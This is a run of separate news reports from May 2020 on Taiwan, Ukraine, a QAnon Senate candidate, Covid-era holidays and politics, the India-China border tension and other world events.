Speaking in Taipei on Wednesday at the inauguration of her second term, Tsai said Taiwan could not accept becoming part of China under its 'one country, two systems' offer of autonomy, and rejected China's sovereignty claims.

China wants Taiwan to accept the 'one country, two systems' model, which is supposed to guarantee a high degree of autonomy and which Beijing uses to run the former British colony of Hong Kong.

However, all major Taiwanese parties have rejected it.

Responding to Li's speech, Taiwan's Mainland Affairs Council said the Taiwanese people were resolutely opposed to the 'one country, two systems' proposal as it 'belittles Taiwan and damages the status quo in the Taiwan Strait'.

On Friday, China proposed new legislation for Hong Kong requiring it to quickly enact national security regulations, a move some see as contradicting the 'one country, two systems' concept, and swiftly condemned by Taiwan.

Taiwan President Tsai Ing-wen and Vice President William Lai Ching-te attend the inauguration ceremony at the Presidential Office Building in Taipei in Taiwan on May 20. Taiwanese voters handed Tsai a second term with a landslide win in January, a vocal rebuke of China's campaign

Tsai, 63, is loathed by Beijing because her party views Taiwan as a de facto sovereign state. She is seen attending the inauguration ceremony at the Presidential Office Building in Taipei

Taiwanese voters handed Tsai a second term with a landslide win in January, a vocal rebuke of China's ongoing campaign to isolate the island.

She was sworn in for another four years at a ceremony on Wednesday in which she called on China to live peacefully alongside a self-ruled Taiwan and for a lowering of tensions.

But a congratulatory note from US Secretary of State Mike Pompeo hailing Tsai's 'courage and wisdom' sparked a rebuke from Beijing, which bristles at any formal recognition of Taipei.

"It is extremely wrong, and it's also very dangerous," China's defence ministry said.

Beijing's foreign ministry said it was 'extremely indignant' at the message and accused Washington of breaching its diplomatic commitments.

Tsai, 63, is loathed by Beijing because her party views Taiwan as a de facto sovereign state and not part of 'one China'.

Since she first came to office in 2016, China has rebuffed offers of talks and ramped up economic, military and diplomatic pressure on the island.
The European Union supports the political settlement of the conflict in Donbas within the Trilateral Contact Group and the Normandy format, which should include full respect for Ukraine's sovereignty, unity, independence and territorial integrity within its internationally recognized borders.

The EU said this in a statement on Russia's ongoing aggression against Ukraine and the illegal occupation of Crimea, which was read out during an online meeting of the OSCE Permanent Council in Vienna on Thursday, May 21, according to an Ukrinform correspondent.

The European Union called on the parties to take the necessary steps to implement the agreed conclusions of the Normandy Four summit in Paris in December 2019. In this context, the EU welcomed Ukraine's constructive approach and called on Russia to do the same, including within the Trilateral Contact Group, the statement said.

It was also emphasized that the EU remains steadfast in its call on all parties to implement the Minsk agreements swiftly and fully in order to achieve a lasting political settlement of the conflict in accordance with OSCE principles and commitments.

The EU called on Russia to take full responsibility in this regard, as well as to use its significant influence on the armed formations it supports to fully implement the Minsk commitments. According to the statement, respect for these principles and commitments must be restored.

The EU also called on Russia to immediately stop fueling the conflict by providing financial and military support to armed formations. The EU also remains deeply concerned about the presence of Russian military hardware and troops in areas controlled by Russian-backed forces, the statement said.

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(CNN)  Mindy Kaling is co-writing "Legally Blonde 3" and Reese Witherspoon couldn't be more thrilled.

It was announced this week that the "Mindy Project" creator is joining forces with "Parks and Recreation" writer Dan Goor to pen the script for the third installment of the classic romantic comedy.

Witherspoon took to social media Tuesday to express her delight at the news and confirm that her alter ego, Elle Woods, is also on board.

"Great news alert!! Some things are just meant to be! I'm SOOO excited to have @MindyKaling and #DanGoor writing Legally Blonde 3!" she wrote, alongside a picture of Kaling recreating one of Elle Woods' looks from the movie. "This is #ElleWoodsApproved!"

The Oscar-winning actress will reprise her role as Elle Woods, the sorority president turned Harvard Law graduate she created in 2001's "Legally Blonde."

The 2003 sequel "Legally Blonde 2: Red, White & Blonde" ended with Elle setting her sights on the White House.

Kaling shared the news on Instagram, expressing her excitement at the chance to work with Witherspoon, her "Wrinkle in Time" costar, again.

"So excited to be reunited with my friends @ReeseW, Lauren Neustadter and @djgoor to work on this movie."

She added: "Elle Woods is so iconic, proving you can be girly and smart at the same time. Bend and snap people!"

Witherspoon initially confirmed "Legally Blonde 3" was in the works in 2018, tweeting a clip of herself in the character's trademark pink bikini, floating on a lilo in a swimming pool. The caption simply read: "It's true... #LegallyBlonde3"

The 44-year-old star's production company, Hello Sunshine, is producing the project.
An official Republican senate candidate who is a QAnon follower refuted her campaign's attempt to claim she did not really believe in the conspiracy theory Friday.

In a bizarre episode which could prove that she is both paranoid and that her campaign really was out to get her, Jo Rae Perkins said those running her bid for Oregon's Senate seat were wrong to put out a statement denying she believed in 'Q' - and that she was 'literally and physically sick' to see it on her twitter account.

Perkins won the Republican primary on Tuesday and will go head-to-head with Jeff Merkley, the sitting junior Democratic senator.

On Wednesday her Twitter account was updated with a statement which was purportedly from her and which claimed calling her a QAnon supporter was a smear by the 'liberal media.'

It claimed at length that she was 'not endorsing QAnon but rather stating that I appreciate the fact there is free speech in this country.'

And it claimed she was the victim of 'biased press not doing its due diligence.'

Unfortunately for the Republican campaign, it turned out that its staff had failed to do due diligence; Perkins told ABC News on Friday that she had not written a word of the statement and in fact does 'stand with' QAnon.

Don't believe your lying eyes: Jo Rae Perkins said she did not write a word of her tweeted statement and did not notice its denial that she follows QAnon. She was 'physically sick' when she read it and now says: 'Q is the information and I stand with the information resource.'

No doubt where she stands: During her campaign Perkins (second from right) took part in protests with a banner emblazoned with a QAnon hashtag

Planning to use Q in the Senate: Perkins proudly says 'I follow Q like I follow Jesus' and plans if she shocks pollsters by being elected to use the information in Congress

'My campaign is gonna kill me,' Perkins said. 'How do I say this? Some people think that I follow Q like I follow Jesus. Q is the information and I stand with the information resource.'

She explained that it was written for her and she 'scanned it and said, yeah, it looks good to me.'

'And then I saw it afterwards and I am like, literally was in tears, literally physically in tears because I'm so blown away. Because I went, c**p, that's not me. And I don't back down,' she said.

Her explanation raised questions about the conduct of her campaign and offered a rare confirmation from a candidate for elected office that they do not write, or sometimes fully read, their campaign material.

Staffers may have been wise to check - or possibly purge - the rest of her twitter feed and Facebook page, both of which show her brandishing QAnon signs and endorsing its claim of a 'great awakening.'

They could also have found one of her first interviews after her victory, on a QAnon livestream promising to use 'information' gleaned from her scouring of QAnon threads on conspiracy websites and message boards in the Senate, and saying: 'Most of the people who were at our election night party were Q people.'

Apart from a botched takeover of her twitter feed, the Republican Party appears to have done little to aid Perkins directly. National sources of funding are so far not promising any cash for her race.

She does have a campaign website which fails to mention her belief in a theory that a mysterious high-ranking government official called Q is leaving clues about a 'great awakening' which will see a massive conspiracy of pedophiles, politicians, the media and big business brought down mostly singlehandedly by Donald Trump.

Instead it says: 'Jo Rae Perkins is a Main Street American who believes the US Constitution strongly and clearly spells out the role of the US Senate and the federal government.'

The Oregon Republican Party told ABC News in a lukewarm endorsement of Perkins: 'By virtue of being the GOP nominee, this is what we do - support them in winning the general election.'

The seat is not seen as competitive for the party, with Donald Trump losing the state to Hillary Clinton in 2016 50 to 39. Democrat Ron Wyden, the senior senator, won that year 57 to 33.

Perkins is a former Republican chairwoman of Linn County, located south of Oregon's capital, Salem.

In a four-way race among Republican candidates, Perkins was hovering around 50 per cent, meaning she will be on the general election ballot against Democratic incumbent Sen. Jeff Merkley, who holds an advantage in the mostly-blue state, Yahoo News reported.

In another clue to her staff, Perkins celebrated in a victory speech by referring to herself as a 'Q person' and then repeating a slogan used by followers of the conspiracy theory: 'Where we go one, we go all.'

U.S. Senate candidate Joe Rae Perkins won the Oregon Republican Party's primary Tuesday night. She stood out among the candidates because she leaned into the QAnon conspiracy theory

QAnon believers think President Trump and an individual name 'Q' are taking on the elites and 'deep state' officials, who are trying to kill children. The conspiracy theory is similar to Pizzagate, which accused Hillary Clinton of running a child trafficking ring out of a pizza parlor

A QAnon conspiracy theorist (left) and a Trump supporter (right) are among the throngs who came out to the state capitol in Salem, Oregon on May 2 to protest the state's stay at home orders. Perkins ran on her belief in 'Q' as a Republican for U.S. Senate in the state

Perkins made no secret of her belief in QAnon - a conspiracy theory that revolves around 'deep state' officials and global elites killing children, with President Trump and a high-ranking intelligence official dubbed 'Q' - who could be Trump himself - working to thwart the plot - something campaign staff appeared to think they could change with a statement blaming the 'biased press.'

It has similar outlines to Pizzagate, a conspiracy theory that grew in the deep reaches of the right-wing internet in 2016 that said Democratic presidential nominee Hillary Clinton ran a sex trafficking ring in the basement of a D.C. pizza parlor.

The bizarre theory got started using references from her campaign chairman John Podesta's leaked emails.

The pizza place has no basement, nor was Clinton involved in any such plot.

But allies of Trump on the right, including ex-National Security Advisor Michael Flynn's son, pushed it into prominence - in has case before his father pleaded guilty in a plea deal partially to save his son from being charged, legal documents have disclosed.

A North Carolina man found it so believable that he showed up with a firearm to the restaurant, Comet Ping Pong, to stage a rescue.

The president has retweeted 'Q'-supporting accounts as well, but Perkins, during her Senate primary run, has taken her support to another level.

'It's a very highly calculated risk that I'm taking,' she told Right Wing Watch in January. 'Most people play it a lot safer than I do. It's either pure genius or pure insanity. It's one of the two. The voters are going to have to be the ones that make that decision.'

Perkins speaks about 'Q' like he or she is a real person.

'Q is most likely military intelligence and they've been out there watching what's been going on with our country for decades and they are partnered with President Trump to stop the corruption and to save our republic.'

She suggested to Right Wing Watch that 'there's probably a lot of us out there.'

'But I just happen to be bold enough to say, 'Hey, I'm following Q because I want to know, because if the Q team is real, I want to know about it,' she said.
MESA, Ariz.  A preliminary report by the National Transportation Safety Board on last months fatal helicopter crash in Mesa notes a trail of parts that came off the chopper before it went down.

The NTSB report released Thursday doesnt list the possible cause of the April 24 crash and relies on witness reports and an examination of the debris field by a Federal Aviation Administration inspector.

Its unclear when the boards final report on the crash will be released.

One of the two people aboard the Bell Huey UH-1H helicopter was fatally injured in the crash in Mesas Sherwood Park.

Flight records show the helicopter took off from Blythe, California, and was headed to the Falcon Field airport in Mesa.

Witnesses reported seeing parts of the helicopter coming off in mid-air, causing it to spin out of control and crash to the ground.

The NTSB report said witnesses also reported seeing white smoke coming from the rear rotor area and the tail rotor separating from the helicopter.

An FAA inspector who viewed the half-mile debris field reported finding glass fragments from a navigation light on the helicopters vertical stabilizer on the ground along with the tail rotor assembly and input pinion gear assembly.
Seoul, May 22 : South Korea on Friday said it was closely monitoring the whereabouts of the North Korean leader Kim Jong-un, who has been missing again from the public eye for three weeks.

On May 1, Kim attended a ceremony to mark the inauguration of a fertilizer plant in Sunchon following a three-week absence from the public eye, putting an end to rumours that he was sick or dead, reports Efe news.

Since then, photos of Kim have been missing from North Korean media reports and the matter came up at a press conference held on Friday by the spokesperson of South Korea's Unification Ministry, Yoh Sang-key.

"The relevant authorities are keeping a close watch," Yoh told reporters.

"There was a time in January when he was also absent from the public view for 21 days. So, we are watching the situation over his absence from media reports," he added.

The 36-year-old North Korean dictator has been absent from the public more frequently than ever this year.

Kim attended a concert on January 25 and disappeared for 21 days until February 16.

He was again not seen for 19 days between March 22 and April 10.

On April 11, he chaired a meeting of the political bureau of the ruling Workers' Party of Korea (WPK) before disappearing again.

The state-run media released video footage on May 2 showing Kim inaugurating a fertilizer plant.

The video recorded a day earlier showed the leader cutting a ribbon at the event, ending three weeks of speculation about his wellbeing.

His prolonged absence, which coincided with several important events he was expected to attend, including the commemoration of the birth of the country's founder and Kim's grandfather Kim Il-sung, on the main national holiday on April 15, gave rise to rumors that the North Korean leader had suffered a health crisis.

The speculation was also fuelled by the state media reporting that during his last public event, Kim Jong-un named his sister as a member of the powerful WPK political bureau, a move interpreted by some commentators as a succession plan.

While Pyongyang's state-run media continued to report on actions by the leader during his absence, such as the sending of diplomatic letters to foreign governments and messages of appreciation directed at workers, there were no images of Kim Jong-un until early May.
T his weekend, Muslims around the world will celebrate Eid al-Fitr.

The festival marks the end of Ramadan, an annual period when Muslims fast to help deepen spiritual devotion and commemorate the work of the prophet Mohammed.

It is not to be confused with Eid al-Adha, which comes at the end of the Hajj pilgrimage period.

Eid al-Fitr is normally celebrated communally with prayers and gatherings. This isn't possible in 2020 due to coronavirus lockdown rules that ban gatherings of more than two people outside a single household.

Here's everything you need to know about Eid al-Fitr and how it is celebrated.

People celebrating Eid in Iraq in 2019 (Reuters)

When is Eid al-Fitr?

Eid-al-Fitr falls on either Saturday, May 23 or Sunday ,May 24 this year - depending on when the full moon is sighted.

The exact dates change each year, as the Islamic calendar is based on the lunar cycle.

The celebrations mark the end of the fasting month of Ramadan, which began on April 23 this year.

Worshippers in Turkey in 2019 (AP)

What does Eid al-Fitr celebrate?

Muslims thank Allah on Eid al-Fitr for giving them the strength to keep to their daytime fast throughout Ramadan. They may also ask for forgiveness if they broke their fast during the month.

The festival is also held to give thanks to Allah for giving Muslims the Koran, the religion's holy text. The Koran provides Muslims with guidelines for living a holy life.

Women buy traditional bangles in preparation for the upcoming Eid al-Fitr celebrations, in Lahore, Pakistan in 2019 (AP)

How is it different from Eid al-Adha?

Eid al-Adha, also known as The Festival of Sacrifice, marks the end of the Hajj pilgrimage, and is considered the holier of the two Eids.

Eid al-Adha marks the end of the Hajj pilgrimage (one of the five pillars of Islam) and will fall at the start of August this year.

The festival remembers the story of Ibrahim's sacrifice when Allah appeared to him in a dream and asked him to sacrifice his son Isma'il as an act of obedience to God.

People celebrating Eid in Birmingham in 2018 (REUTERS)

How are Muslims celebrating Eid al-Fitr in coronavirus lockdown?

Eid al-Fitr is normally celebrated in mosques, and then in gatherings and parties with friends and family.

Neither of these are possible this year, with places of worship closed and gatherings of more than two people banned under coronavirus lockdown rules.

The Muslim Council of Britain (MCB) has advised Muslims to celebrate Eid al-Fitr at home with members of their household, and speak with others via video cal

MCB General Secretary Harun Khan said: Muslims have shown great resolve throughout Ramadan and this pandemic, adapting to a different way of life and making the best out of the month by attending virtual iftars with friends and family, and live streaming religious services to their homes.

Eid celebrations in Birmingham in 2018 (REUTERS)

Whilst Eid away from the mosques and from our loved ones is unprecedented and will be a source of great sadness in communities across the country, Muslim communities will adapt and find the best way to still celebrate this holy day whilst aligning to the latest guidance. Some will pray Eid prayers in families within their households, and virtual gatherings can be arranged to still connect with loved ones.

As ever, everyones number one priority must be to help save lives and celebrating Eid at home is the best way to do this. We use this holy day to pray for the safety of our communities and our key workers and a swift an end to this pandemic.
There are humungous problems and with the minimum wage being what it is, youve got servers who are making double their salary at home, plus there is always the issue of the weather," he said. "You can take 90-minute reservations like some have and fill all the tables, but if it rains, then what? It would be wonderful if it was warm and sunny next Friday but without knowing for sure, its tough. In terms of the restaurant industry as a whole, I dont think the outdoor only option is going to help much.
President Donald Trump lashed out at Michigan Attorney General Dana Nessel in a series of late-night Twitter posts Thursday after she called him a "petulant child" for not wearing a mask during most of his tour tour of a Ford plant in Ypsilanti, Michigan and suggested the company could face consequences for allowing him to violate state orders.

Deriding her as the "Do nothing A.G. of the Great State of Michigan," Trump wrote that Nessel should not take her "anger and stupidity out on Ford Motor" or else the company might leave the state.

Trump said it was not Ford's fault he did not wear a mask during the part of the tour that was open to news media cameras, but he added: "I did put on a mask" for part of the visit.

Nessel, a Democrat, had slammed Trump for not wearing a mask, telling CNN on Thursday, "This is not a joke. Hes conveying the worst possible message to people who cannot afford to be on the receiving end of terrible misinformation."

The state would need to have a "very serious conversation with Ford" if they allowed him to violate the state's orders on mask-wearing, Nessel added.

Bill Ford Jr., executive chairman of Ford Motor Co., points to a collection of Ford GT vehicles while talking with President Donald Trump during his visit to the Rawsonville plant in Ypsilanti on May 21, 2020. Mark Meadows, White House chief of staff, is standing in the middle.

Michigan Governor Gretchen Whitmer's executive orders mandate face masks in public enclosed spaces, and Ford policy required masks as well. Nessel sent a letter to Trump earlier Wednesday asking him to wear a mask out of a legal, social, and moral responsibility "to take reasonable precautions to prevent further spread of the virus."

Whitmer also criticized Trump for not wearing a mask during the public part of the tour, telling MSNBC's Rachel Maddow. "It wasn't surprising, but it was disappointing," the governor said of Trump's decision.

"Anyone in a position of power and responsibility, I hope, emulates and does precisely what they're asking everyone else to do," she said.

US President Donald Trump (R) tours the Ford Rawsonville Plant, that has been converted to making personal protection and medical equipment, in Ypsilanti, Michigan on May 21, 2020. (Photo by Brendan Smialowski / AFP) (Photo by BRENDAN SMIALOWSKI/AFP via Getty Images) ORIG FILE ID: AFP_1S135B

Ford executives had encouraged Trump to wear a mask during his tour of the factory Thursday, but he told reporters he took it off when he came near new media photographers because he "didnt want to give the press the pleasure of seeing it."

Story continues

In a statement issued shortly after he left the Ford facility, the company said William Clay Ford Jr., the company's executive chairman and the great-grandson of Henry Ford had "encouraged" Trump to wear a mask.

"Bill Ford encouraged President Trump to wear a mask when he arrived," the company said in the statement. "He wore a mask during a private viewing of three Ford GTs from over the years. The President later removed the mask for the remainder of the visit."

More: Ford 'encouraged' Trump to wear mask during factory tour, but it came off for the cameras

More: China security law set to plunge Hong Kong into turmoil; tense U.S.-China relations risk 'strong' Trump reaction

Contributing: John Fritze, Courtney Subramanian

This article originally appeared on USA TODAY: Trump attacks Michigan AG Nessel after mask criticism
Hyderabad, May 22 : The death toll due to Covid-19 in Telangana mounted to 48 as three more persons succumbed to the deadly virus on Friday.

With this, the state has reported 14 deaths in four days. Five deaths were reported on Thursday, two deaths on Wednesday and four on Tuesday.

The state health authorities did not disclose any information about the fatalities.

In one of the highest single-day jumps, 62 tested positive for Covid-19 on Friday, taking the state's tally to 1,761. Greater Hyderabad continued to be the hot spot accounting for 42 of the fresh cases. One case was reported from neighboring Ranga Reddy district.

Migrants also continued to be a cause for worry for authorities as 19 migrants tested positive. With this, the total number of cases among migrants rose 118.

According to the Director of Public Health and Family Welfare, seven persons were discharged from hospital. With this, the number of people cured/discharged rose to 1,043. The number of active cases now stands at 670.
Memorial Day is one of the most iconic holidays for Americans. Its a day of remembrance for the men and women who sacrificed their lives defending our nation and a solemn reminder that the freedoms we enjoy came at a heavy price.

And while the COVID-19 pandemic may have quashed the fanfare of parades, ceremonies and large gatherings that are synonymous with the holiday, there are still ways to honor Memorial Day on May 25 in Katy while adhering to safety protocols.

Monty Ballard YMCA at Cinco Ranch Memorial Day Remembrance Ceremony

The Monty Ballard YMCA at Cinco Ranch will be hosting a Facebook live video of their Memorial Day Ceremony. The video will feature a Memorial Day prayer, the singing of the National Anthem and placement of honor flags in the Monty Ballard YMCA front lawn.

The YMCA invites the community to submit the names of a deceased service member by emailing their name, military branch, rank, photograph and any honorable details of their service to deveta.webb@ymcahouston.org by 12 p.m. on Sunday, May 24.

The video will be live streamed from the Monty Ballard YMCAs Facebook page, https://www.facebook.com/MontyBallardYMCA/.

American Legion Post 164 Flag Ceremony

As the nations largest wartime veterans service organization, the American Legion has an unwavering commitment to honoring Memorial Day. This year, the Katy post will be honoring Memorial Day with a flag ceremony, which will be divided into three separate locations.

At 12 p.m., representatives from American Legion Post 164 will perform the official military Memorial Day flag etiquette ceremony at City Hall, the Katy Police Department and the Katy Fire Department simultaneously.

Post Vice Commander Philip Malsbary said that the ceremonies will be spaced out in different locations to avoid crowding at any one location.

City Hall is located at 901 Avenue C. The Katy Police Department is located at 5456 Franz Road, and the Fire Department is located at 1417 Avenue D.

Fort Bend County Sheriffs Offices Fort Bend Salutes America

Each year, the Fort Bend County Sheriffs Office honors Memorial Day in a grand but dignified fashion. This year, the Sheriffs Office is producing a Memorial Day video which they will debut on their Facebook page on Memorial Day. View the video at https://www.facebook.com/FortBendCountySheriffsOffice/.

The Brookwood Community Memorial Day meal to-go

The Brookwood Community is offering a special to-go Memorial Day meal available for pickup on Saturday, May 23. The meal is a brown sugar ham with a choice of sides and dessert.

The meal purchase supports Brookwoods commitment to enriching the lives of adults with disabilities at the Brookwood Community. To order, call the Cafe at 281-375-2400.

claire.goodman@chron.com
BJP leader and Rajya Sabha MP Subramanian Swamy on Thursday said that he will sue a senior UN official who described alleged comments attributed to him as "extremely alarming", saying the diplomat's remarks are slander and a blatant lie.

Earlier this week, Under-Secretary-General Adama Dieng, United Nations Special Adviser on the Prevention of Genocide, in a note to the media expressed concern over reports of "increased hate speech and discrimination" against minority communities in India since the adoption of the Citizenship Amendment Act in December 2019.

In the letter, Dieng made a reference to Dr Swamy, saying statements such as those expressed by him, that all people are not equal, and that "Muslims are not in an equal category as others are extremely alarming."

'I will take steps to sue him in court'

Swamy hit back at Dieng's assertion, in a tweet on May 19 said that the UN official "slandered me in a press release in New York saying I had said in an interview to a Pakistani owned TV channel that Muslims are not equal to Hindus in Indian Constitution. This is a blatant lie so I will take steps to sue him in court."

Responding to a tweet, Swamy wrote, "I need practice so I will enjoy suing in court a United Nation official for defamatory lies."

Swamy in a tweet on Thursday said that in a letter to the Foreign Secretary (Harsh Vardhan Shringla), he has expressed his intention to prosecute for defamation Dieng for relying on a Pakistani owned TV's cut and paste interview, to allege that "I said Muslims don't have equal rights with Hindus in India."

My letter to FS MEA stating that I intend to prosecute for defamation the UN Under Secretary General Mr. Adama Dien for relying on a Pakistani owned TV's cut and paste interview, to allege that I said Muslims don't have equal rights with Hindus in India.  Subramanian Swamy (@Swamy39) May 21, 2020

READ | Subramanian Swamy slams Congress as Adhir Ranjan deletes 'harsh abusive' tweet about China

READ | Subramanian Swamy issues first response as Shivaling & idols dug up at Ayodhya temple site

He said a legal notice will very soon be served on Dien. Dien, a Senegalese international lawyer, is a former registrar of the International Criminal Tribunal for Rwanda.

READ | Subramanian Swamy binges web series 'thanks to lockdown', says it has lessons for India

READ | Swamy lists 3 pre-conditions to 'seduce' US firms from China after PM's self-reliant pitch

(With PTI inputs)
At least five rounds of talks between Indian and Chinese troops this week have failed to de-escalate tension in Pangong Tso lake and Galwan Valley in Ladakh as the two sides maintained aggressive posturing in the disputed border areas, government sources said on Friday.

The Indian Army has been matching up to the Chinese build up in both Pangong Tso lake and Galwan Valley, the two locations in Ladakh which have witnessed major reinforcement of troops in the last two weeks, sources said.

There was very little chance of easing of tension anytime soon as both sides are aggressively holding onto their respective positions, they said.

It is learnt that diplomatic channels are also working overtime to bring down the tension between the two armies which was triggered by China's objection to laying of a road by India in Galwan Valley.

The two sides have significantly bolstered their presence along the un-demarcated border in Eastern Ladakh after they were engaged in a violent face-off on May 5 which was followed by a similar incident in North Sikkim on May 9.

Local commanders of the two armies will continue talks till a resolution is found, the sources said.

In the midst of escalating tension, India on Thursday said Chinese military was hindering normal patrolling by its troops and asserted that India has always taken a very responsible approach towards border management.

At a media briefing, External Affairs Ministry Spokesperson Anurag Srivastava also strongly refuted China's contention that the tension was triggered by trespassing of Indian forces across the Chinese side.

India's response came two days after China accused the Indian Army of trespassing into its territory, claiming that it was an "attempt to unilaterally change the status" of the Line of Actual Control (LAC) in Sikkim and Ladakh. The LAC is the de-facto border between the two countries.

Pangong Tso lake and Galwan Valley, several areas along the LAC in Ladakh and North Sikkim too witnessed major military build-up by both the sides.

The sources said the Chinese side has erected at least 40-50 tents in the Galwan Valley following which India has also sent reinforcements.

On May 5, around 250 Indian and Chinese army personnel clashed with iron rods, sticks, and even resorted to stone-pelting in the Pangong Tso lake area in which soldiers on both sides sustained injuries.

In a separate incident, nearly 150 Indian and Chinese military personnel were engaged in a face-off near Naku La Pass in the Sikkim sector on May 9. At least 10 soldiers from both sides sustained injuries.

The troops of India and China were engaged in a 73-day stand-off in Doklam tri-junction in 2017 which even triggered fears of a war between the two nuclear-armed neighbours.

The India-China border dispute covers the 3,488-km-long LAC. China claims Arunachal Pradesh as part of southern Tibet while India contests it.

Both sides have been asserting that pending the final resolution of the boundary issue, it is necessary to maintain peace and tranquillity in the border areas.

China has been critical of India's reorganisation of Jammu and Kashmir, and has particularly criticised New Delhi for making Ladakh a union territory. China lays claim over several parts of Ladakh.

Prime Minister Narendra Modi and Chinese President Xi Jinping held their first informal summit in April 2018 in the Chinese city of Wuhan, months after the Doklam standoff.

In the summit, the two leaders decided to issue "strategic guidance" to their militaries to strengthen communications so that they can build trust and understanding.

Modi and Xi held their second informal summit in Mamallapuram near Chennai in October last year with a focus on further broadening bilateral ties.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Patna: Major political formations and political parties in Bihar have begun poll preparations keeping the normal election schedule in mind as the Election Commission has not yet given any indication about delay in holding the assembly polls in Bihar due to the ongoing coronavirus crisis.

The elections will be fought on the issue of success or failure of the Bihar government in handling the influx of lakhs of Pravasi Biharis from different parts of the country after being rendered jobless due to closure of factories due to lockdown amid Covid-19 outbreak.

Leaders of the different political parties, including the ruling Janata Dal (U), the Bharatiya Janata Party (BJP), Rashtriya Janata Dal (RJD) and Congress, ruled out any ambiguity over holding of polls on time as President Rule will have to be imposed if the government is not formed in the state on or before November 20  when Nitish Kumar had taken oath as the chief minister of the grand alliance in 2015.

The political parties feel they still have over three months in hand as the actual electioneering will begin from the second week of September. The coronavirus pandemic is going to stay and, therefore, the election has to be fought with it. There is no need to extend the polls unless the pandemic assumes an explosive form. We are restarting political activity without breaking any protocol, said BJP MLA and state spokesperson Prem Ranjan Patel.

It is expected that public meetings, election rallies, road shows and chopper-hopping by star campaigners from one place to other might be a thing of past as physical distancing has to be strictly followed during campaigning. Public contact with small gatherings through videoconferencing and messaging through electronic devices will be allowed as means of campaigning besides posters and banners as per the existing rules, Patel said.

As the lockdown 4.0 has begun with more relaxations bringing life to near normal, the major political parties have begun the preliminary exercises aimed at gearing up in-charges of the different assembly constituencies and the booth management committees. Some parties have also begun membership drive among the migrants returning from other states.

The BJP, one of the main stakeholders of state politics willing to form a government of its own, has planned to launch its first major election campaign with the Pradhan Mantri ke Mann ki Baat, Saptarishi ke saath on May 31, when Prime Minister Narendra Modi completes one year in office of his second term.

The Saptarishis  the seven-member committees  have been formed for almost every booth to ensure that the voters are persuaded to cast their votes. Besides, there are 67,000 booth Pramukhs and Shakti Kendras with IT-trained workers. It will be the first step of election preparedness when the grassroots level workers will interact with the Prime Minister. This is how we will galvanise nearly 4, 70,000 committee members and grassroots workers, Patel said.

The JD(U) president and Bihar chief minister Nitish Kumar has held videoconferencing meeting with party functionaries during the lockdown period and asked them to spread the message among people about the steps being taken by the government to deal with the pandemic and relief operations for the migrants. A majority of the migrants belong to the Extremely Backward Castes (EBCs), which forms the core vote bank of the ruling JD(U). Therefore, the ruling party cannot afford to earn their wrath.

The chief minister claimed to have done a fairly good job in handling the migrants crisis by setting up 151 disaster relief providing benefits to 76,500 people and 7,840 block quarantine centres housing over 6 lakh migrants. The government has also disbursed Rs 1,000 each to the bank accounts of 20.32 lakh people stranded in other parts of the country and made 8.7 lakh new ration cards. A sum of Rs 730 crore has been sanctioned for input subsidy for the farmers.

Though the economic package of Rs 20 lakh crore announced by Prime Minister Narendra Modi would be the main poll plank of the National Democratic Alliance (NDA), the most challenging task for it would be to come clean on combating the pandemic and handling the influx of migrants, as the opposition has decided to make this issue its main poll plank.

The RJD has already launched online enrollment of the migrant labourers retuning to Bihar as party members. Taking advantage of the anger the migrants have been venting over alleged mismanagement and lack of basic facilities at the quarantine centres, the state RJD president Jagadanand Singh has conveyed the senior functionaries to enroll the migrants as members online as physical entry is not possible.

The RJD has also planned to make the immense hardship of lakhs of Pravasi Biharis caused by the coronavirus distress as main poll issue of the grand alliance in the upcoming polls. RJD leader Tejashwi Prasad Yadav has planned to make the alleged flip-flop of Nitish Kumar on the issue of bringing back the migrants and students from Kota as the highpoint during electioneering to dent Nitish Kumars Sushasan Babu image.

It was the offer of Tejashwi Prasad Yadav to send buses to Kota for bringing back students followed by similar offer from Congress president Sonia Gandhi that the Centre announced to run Shramik Special trains, said Bhai Virendra, RJD MLA.

As major partner of the grand alliance, the state Congress has begun gearing up its workers for contesting at least 75 assembly seats and almost worked out on the likely candidates. We are prepared to fight all the 243 assembly seats in Bihar as a single entity. But as part of the grand alliance, we will contest not less than 75 seats, party spokesperson and former MLA Harkhu Jha said.

According to a conservative estimate, over 10 lakh migrants are expected to return to Bihar by the end of June. The migrants influx is expected to create an economic crisis as majority of their families are dependent on remittances. In next three months, the floods will hit the state and again displace large number of people. With less employment rate, it will be difficult for the NDA to cope with the situation.

The immediate fallout of return of the migrants is the increase in the number of coronavirus positive cases in the state. The number has already spiked substantially in the past two weeks from below hundred to over 1500 after the influx of migrants via special trains began.

For the BJP, the polls are crucial as it lost power in the neighbouring Jharkhand last year and was unable to form government in Maharashtra despite being the single largest party. In Haryana, the BJP returned to power but with a thin majority, while it suffered a defeat in Delhi polls. Therefore, acknowledging the crucial role of Nitish Kumar in winning elections, the BJP has already declared him as the chief ministerial face of the alliance.

The NDA enjoys an edge over rivals as the grand alliance is in tatters. Its other caste-based allies like Rashtriya Lok Samata Party, Hindustani Awam Morcha and Vikassheel Insaan Party are unhappy with him and looking for an option to exit. They held a closed-door meeting recently to put pressure on the RJD for a respectable share in seats in the upcoming elections.
Boris Johnson could attend a G7 summit in the US next month after Donald Trump backed a face to face meeting as a symbol of 'normalisation' after coronavirus.

Downing Street said it is in 'close contact' with the White House over the arrangements for the event, due to happen on June 10.

The US had previously announced that it intended to abandon the gathering in favour of video discussions.

But the President tweeted this week that a physical gathering of world leaders would show they were starting to make a 'comeback' after the devastating pandemic.

'I am considering rescheduling the G-7, on the same or similar date, in Washington, DC, at the legendary Camp David,' he wrote. 'The other members are also beginning their COMEBACK. It would be a great sign to all - normalization!'

Donald Trumpm (pictured at the White House today) tweeted this week that a physical gathering of world leaders would show they were starting to make a 'comeback' after the devastating pandemic

Mr Trump expanded on how the conference might look speaking to reporters in Washington yesterday.

He said it would 'probably' be held at the White House, with some parts taking place at Camp David, the presidential retreat in the Catoctin mountains in Maryland.

'So if we do the G7, when that all comes together, probably it will be in DC at the White House. But there could be a piece of it at Camp David, which is nearby,' Mr Trump said.

Asked about the plans today, the PM's spokesman said: 'We are in close contact with the White House about the summit and we will look at the details of what they are proposing.'

Canadian prime minister Justin Trudeau and French president, Emmanuel Macron, have said they are in talks about the arrangements.

The state of Maryland has issued an executive order in April that residents should wear face masks in all public settings.
Chechen and Russian officials remain tight-lipped about the condition or whereabouts of Chechen leader Ramzan Kadyrov, a day after news reports said he had been hospitalized in Moscow for possible coronavirus infection.



If confirmed, Kadyrov would join the list of several other prominent Russian officials, including Prime Minister Mikhail Mishustin and Kremlin spokesman Dmitry Peskov, who have been infected with the virus.



